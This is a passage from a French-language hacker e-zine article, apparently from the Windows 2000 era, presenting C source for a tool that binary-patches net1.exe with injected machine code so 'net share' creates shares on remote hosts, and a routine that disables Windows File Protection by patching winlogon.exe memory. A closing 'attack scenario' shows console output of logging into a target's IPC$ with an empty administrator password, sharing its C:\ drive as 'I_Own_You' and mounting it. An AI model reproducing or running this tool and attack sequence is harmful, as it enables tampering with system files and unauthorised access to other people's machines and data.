!\n",com,com,com); } void main (int argc, char *argv[]) { char net[MAX_PATH], net2[MAX_PATH]; RtlZeroMemory (net,MAX_PATH); atexit (&term); Console = GetStdHandle (STD_OUTPUT_HANDLE); GetConsoleScreenBufferInfo(Console,(PCONSOLE_SCREEN_BUFFER_INFO)&ConsoleInfo); SetConsoleTitle("[HARDCODE] -> NET SHARE PATCH, By ThreaT !"); SetConsoleTextAttribute(Console,FOREGROUND_GREEN|FOREGROUND_RED|FOREGROUND_INTENSITY| BACKGROUND_BLUE|BACKGROUND_INTENSITY); printf ("*********************************************\n" "Net1.exe patch for remote sharing, By ThreaT.\n" "*********************************************\n\n" "URL : http://www.chez.com/mvm\n" "Contact : ThreaT@Caramail.com\n\n"); SetConsoleTextAttribute(Console,FOREGROUND_GREEN); if (!lstrcmpi (argv[1],"/soft")) { GetSystemDirectory(net,MAX_PATH); lstrcat (net,"\\net1.exe"); GetSystemDirectory(net2,MAX_PATH); lstrcat (net2,"\\net2.exe"); printf ("Creation de net2.exe..."); if (!CopyFile (net,net2,TRUE)) { puts ("erreur !\n"); printf ("%s existe peut etre deja !\n\n",net2); exit (1); } else puts ("OK!\n"); patch (net2); printf ("\n%s a ete patche avec succes !\n\n",net2); verbose ("net2"); exit (0); } if (!lstrcmpi (argv[1],"/hard")) { GetSystemDirectory(net,MAX_PATH); lstrcat (net,"\\net1.exe"); GetSystemDirectory(net2,MAX_PATH); lstrcat (net2,"\\net1.bak"); printf ("Sauvegarde de net1.exe en net1.bak..."); if (!CopyFile (net,net2,TRUE)) { puts ("erreur !\n"); printf ("%s existe peut etre deja !\n\n",net2); exit (1); } else puts ("OK!\n"); printf ("Desactivation de la Windows File Protection...\n" "**********************************************\n"); sfcpatch (0); puts ("**********************************************\n"); Sleep (1000); RtlZeroMemory (net2,MAX_PATH); GetSystemDirectory(net2,MAX_PATH); lstrcat (net2,"\\dllcache\\net1.exe"); patch (net); patch (net2); Sleep (1000); printf ("\nReactivation de la Windows File Protection...\n" "***********************************************\n"); sfcpatch (1); puts ("***********************************************\n"); verbose ("net "); exit (0); } printf ("Usage : %s [/hard | /soft]\n\n" "/hard : Desactiver la WFP et patcher NET1.EXE en créant un backup NET1.BAK\n" "/soft : Creer un binaire NET2.EXE correspondant à la version patché de NET1.EXE\n\n" ,argv[0]); exit (0); } void patch (char *file) { HANDLE net1; SECURITY_ATTRIBUTES secu; DWORD temp; char *buffer; // Original function //:01013225 6A02 push 00000002 //:01013227 FF742410 push [esp+10] char origine[6] = "\x6A\x02\xFF\x74\x24\x10"; // Patched function //:01013225 E886750000 call 0101A7B0 //:0101322A 90 nop char call[6] = "\xE8\x86\x75\x00\x00\x90"; /* ---------------- [ HARD CODED FUNCTION ] ------------------- :0101A7B0 5B pop ebx :0101A7B1 8B16 mov edx, dword ptr [esi] :0101A7B3 42 inc edx :0101A7B4 66833A00 cmp word ptr [edx], 0000 :0101A7B8 7421 je 0101A7DB :0101A7BA 803A2D cmp byte ptr [edx], 2D :0101A7BD 75F4 jne 0101A7B3 :0101A7BF 817A022D002D00 cmp dword ptr [edx+02], 002D002D :0101A7C6 75EB jne 0101A7B3 :0101A7C8 66C7020000 mov word ptr [edx], 0000 :0101A7CD C742025C005C00 mov [edx+02], 005C005C :0101A7D4 83C202 add edx, 00000002 :0101A7D7 8954240C mov dword ptr [esp+0C], edx :0101A7DB BAFFFFFFFF mov edx, FFFFFFFF :0101A7E0 6A02 push 00000002 :0101A7E2 FF742410 push [esp+10] :0101A7E6 53 push ebx :0101A7E7 33DB xor ebx, ebx :0101A7E9 C3 ret ----------------------------------------------------------- */ char code[] = "\x5B\x8B\x16\x42\x66\x83\x3A\x00\x74\x21\x80\x3A\x2D\x75\xF4\x81" "\x7A\x02\x2D\x00\x2D\x00\x75\xEB\x66\xC7\x02\x00\x00\xC7\x42\x02" "\x5C\x00\x5C\x00\x83\xC2\x02\x89\x54\x24\x0C\xBA\xFF\xFF\xFF\xFF" "\x6A\x02\xFF\x74\x24\x10\x53\x33\xDB\xC3"; secu.bInheritHandle = TRUE; secu.lpSecurityDescriptor = NULL; secu.nLength = sizeof (SECURITY_ATTRIBUTES); SetConsoleTextAttribute (Console,FOREGROUND_GREEN|FOREGROUND_RED|FOREGROUND_INTENSITY| BACKGROUND_RED|BACKGROUND_INTENSITY); net1 = CreateFile (file,GENERIC_READ+GENERIC_WRITE, FILE_SHARE_WRITE+FILE_SHARE_READ,&secu,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL); if (net1 == INVALID_HANDLE_VALUE) { printf ("\aImpossible d'ouvrir %s !\n",file); exit (1); } buffer=(char *)GlobalAlloc (GPTR,6); SetFilePointer (net1,CallOffset,NULL,FILE_BEGIN); ReadFile (net1,buffer,6,&temp,NULL); if (memcmp (buffer,origine,6)) { printf ("\aErreur ! %s ne correspond pas a la version 5.0.2179.1\n" "de net1.exe pour win2k serveur FR\n\n" "Verifier la version de l'executable, ou assuré vous que\n" "celui ci n'est pas deja patché.\n",file); exit (1); } GlobalFree (buffer); SetConsoleTextAttribute(Console,FOREGROUND_GREEN); printf ("Patching %s...",file); SetFilePointer (net1,CallOffset,NULL,FILE_BEGIN); if (!WriteFile(net1,call,6,&temp,NULL)) {puts ("erreur !"); return;} SetFilePointer (net1,CodeOffset,NULL,FILE_BEGIN); if (!WriteFile(net1,code,58,&temp,NULL)) {puts ("erreur !"); return;} puts ("OK!"); CloseHandle (net1); } /**************************************** WFP Memory patcher, By Crazylord set (BOOL *)mode to 0 for patch the WFP set (BOOL *)mode to 1 for unpatch the WFP *****************************************/ int sfcpatch (BOOL mode) { PWHL_PROCESS WhlProcess; UCHAR Buffer[2]; UCHAR OldBuffer[2]; printf(" * Sfc.dll 2 byte patch by crazylord :) *\n\n"); if (WhlInit()) { printf(" * debug privilege set\n"); } else { printf("error (%i): %s\n", WhlCurrentAction, WhlError); return(0); } WhlProcess = WhlGetProcessInfo("winlogon.exe"); if (WhlProcess == 0) { printf("error (%i): %s\n", WhlCurrentAction, WhlError); return(0); } // first 2 byte of "mov edi, [eax+10h]" OldBuffer[0] = 0x8b; OldBuffer[1] = 0x78; Buffer[0] = 0x75; Buffer[1] = 0x3b; if (mode == 0) { if (WhlCheckAndWriteProcessMemory(WhlProcess, (PVOID) ADDRESS, OldBuffer, Buffer, 2)) { printf(" * mem patched ! (%i)\n", WhlCurrentAction); } else { printf("error (%i): %s\n", WhlCurrentAction, WhlError); } } else { if (WhlCheckAndWriteProcessMemory(WhlProcess, (PVOID) ADDRESS, Buffer, OldBuffer, 2)) { printf(" * mem patched ! (%i)\n", WhlCurrentAction); } else { printf("error (%i): %s\n", WhlCurrentAction, WhlError); } } if (WhlReadProcessMemory(WhlProcess, (PVOID) 0x76934110, Buffer, 2)) { printf(" * 0x%x: %x%x\n", ADDRESS, Buffer[0], Buffer[1]); } else { printf("error (%i): %s\n", WhlCurrentAction, WhlError); } CloseHandle(WhlProcess->ProcessHandle); //free(WhlProcess); return(0); } -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- EOF -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Il ne reste plus qu'a tester tout ca! et comme je sais que vous en etes friant, je vous est concocte un... =#=#=#=#=#=#=#=#=#=#=#=#=#=#=#=#=#=#= ---------------------------------- ---> PETIT SCENARIO D'ATTAQUE <--- ---------------------------------- =#=#=#=#=#=#=#=#=#=#=#=#=#=#=#=#=#=#= IMAGINEZ : Vous vous retrouvez en face d'une personne possedant l'adresse 212.196.138.12 qui tourne sous NT, et qui a omis de mettre un mot de passe a l'un de ses comptes d'administration. Mais la personne est quand meme maline, car celle ci a bien pris soin de ne partager aucune ressource sur sa machine, et a desactiver tous les partages d'administration par defaut. (c$,d$...) Ho shit, comment faire pour obtenir un acces en moins de 10 secondes montre en main? allez chercher son CD du RSKIT? non non non, le temps de le retrouver sous la pile de pizzas, la victime aura pris la fuite ! La solution, c'est le NET SHARE PATHED By ThreaT ! - Microsoft Windows 2000 [Version 5.00.2195] (C) Copyright 1985-2000 Microsoft Corp. C:\>cd /d e:\code\net1patch\Debug E:\code\net1patch\Debug>net1patch.exe ********************************************* Net1.exe patch for remote sharing, By ThreaT. ********************************************* URL : http://www.chez.com/mvm Contact : ThreaT@Caramail.com Usage : net1patch.exe [/hard | /soft] /hard : Desactiver la WFP et patcher NET1.EXE en crÚant un backup NET1.BAK /soft : Creer un binaire NET2.EXE correspondant Ó la version patchÚ de NET1.EXE - Hop, on patche en soft la commande net share - E:\code\net1patch\Debug>net1patch.exe /soft ********************************************* Net1.exe patch for remote sharing, By ThreaT. ********************************************* URL : http://www.chez.com/mvm Contact : ThreaT@Caramail.com Creation de net2.exe...OK! Patching C:\WINNT\System32\net2.exe...OK! C:\WINNT\System32\net2.exe a ete patche avec succes ! pour creer un partage a distance, utilisez maintenant la commande suivante : -> net2 share nomdepartage---192.168.0.1=c:\path\to\share net2 share : version patchÚ de net1.exe avec l'argument SHARE nomdepartage : le nom a affecter au partage distant ---192.168.0.1 : definit l'adresse IP du systeme sur lequel proceder c:\path\to\share : le chemin de la ressource distante a partager Exemple : pour partager le C:\ de la machine 10.0.0.1 en lui affectant le nom de partage 'SharedByThreaT', la commande est la suivante : C:\> net2 share SharedByThreaT---10.0.0.1=c:\ Happy Sharing with HARDCODE ! - Et c'est parti pour l'attaque ! - E:\code\net1patch\Debug>net use \\212.196.138.12\ipc$ "" /user:administrateur La commande s'est terminée correctement. E:\code\net1patch\Debug>net2 share I_Own_You---212.196.138.12=c:\ I_Own_You a été partagé. E:\code\net1patch\Debug>net use * \\212.196.138.12\I_Own_You Le lecteur G: est maintenant connecté à \\212.196.138.12\I_Own_You. La commande s'est terminée correctement. E:\code\net1patch\Debug>net use Les nouvelles connexions seront mémorisées. État Local Distant Réseau ------------------------------------------------------------------------------- OK G: \\212.196.138.12\I_Own_You Réseau Microsoft Windows OK \\212.196.138.12\ipc$ Réseau Microsoft Windows La commande s'est terminée correctement. E:\code\net1patch\Debug>g: G:\> - Bonne nuit les petits, un supo, et au lit ! +==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+ /****************************************************************** ExitProcess (0) ******************************************************************/ +==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+ Et oui, comme toute chose qui commence, il faut qu'il y ait une fin. j'espere que vous avez apprecie ce premier numero d'un pseudo magazine electronique de plus qui vas se retrouver a coup sur, noye dans la masse. en tout cas, si vous aussi vous etes passionnes de patch, rootkit, reversing, et autre passe temp pour autiste, cela me ferait tres plaisir que nous partagions nos competances pour sortir des articles electroniques specialises dans ce domaine. enfin voila, n'hesitez pas a m'envoyer des suggestions de patching pour les prochains numeros, car je ne suis pas tres immaginatif en ce moment :) 11010100011110101011101010011101010111010110 On leur a dit que c'etait impossible... ... alors ils l'ont fait. 10011010111101101010111101010100011100110101 . Special clein d'oeil à : Crazylord, gang, martony, candy, minitux, realist, tium, repartito, descript, spud qui m'ont acceuilli chaleureusement lors du salon de la securité qui s'est tenu a la defense. - Merci a Ad-Tonnou pour avoir corrigé les nombreuses fautes d'othographes de ce paper :) -